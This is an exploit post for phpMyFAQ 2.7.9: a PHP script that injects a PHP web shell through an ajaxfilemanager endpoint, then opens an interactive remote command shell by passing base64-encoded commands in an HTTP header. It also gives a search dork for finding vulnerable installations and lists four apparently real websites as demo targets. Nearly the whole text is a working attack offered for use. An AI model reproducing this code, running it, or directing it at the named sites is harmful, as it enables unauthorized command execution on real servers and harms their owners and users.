# Title: Powered by phpmyfaq 2.7.9 PHP Code Injection

# Date: 21/03/2018

# Dork: "powered by phpMyFAQ 2.7.9" inurl:/admin/index.php

# Tested: w10

# Credit: Informacion - Anonymous

# Author: indoushka

# Exploit: 

<?php
 
error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);
   
function http_send($host, $packet)
{
    if (!($sock = fsockopen($host, 80)))
        die( "\n[-] No response from {$host}:80\n");
   
    fwrite($sock, $packet);
    return stream_get_contents($sock);
}
   
print "#[+] Author: indoushka\n";
  
if ($argc < 3)
{
    print "\nUsage......: php $argv[0] <host> <path>";
    print "\nExample....: php $argv[0] localhost /";
    print "\nExample....: php $argv[0] localhost /Dmarket/\n";
    die();
}
   
$host = $argv[1];
$path = $argv[2];
   
$exploit = "foo=<?php error_reporting(0);print(_code_);passthru(base64_decode(\$_SERVER[HTTP_CMD]));die; ?>";
$packet  = "POST {$path}admin/editor/plugins/ajaxfilemanager/ajax_create_folder.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Content-Length: ".strlen($exploit)."\r\n";
$packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
$packet .= "Connection: close\r\n\r\n{$exploit}";
   
http_send($host, $packet);
   
$packet  = "GET {$path}admin/editor/plugins/ajaxfilemanager/inc/data.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Cmd: %s\r\n";
$packet .= "Connection: close\r\n\r\n";
   
while(1)
{
    print "\nOL-shell> ";
    if (($cmd = trim(fgets(STDIN))) == "exit") break;
    preg_match("/_code_(.*)/s", http_send($host, sprintf($packet, base64_encode($cmd))), $m) ?
    print $m[1] : die("\n[-] Exploit failed!\n");
}
   
?>
######

# dem0s:
- http://www.oavco.com/faq/admin/index.php
- http://www.vandemolengors.nl/admin/index.php
- http://olc.webster.edu/faq/admin/index.php
- http://programas.gsjarama.org/myfaq/admin/index.php
#############################################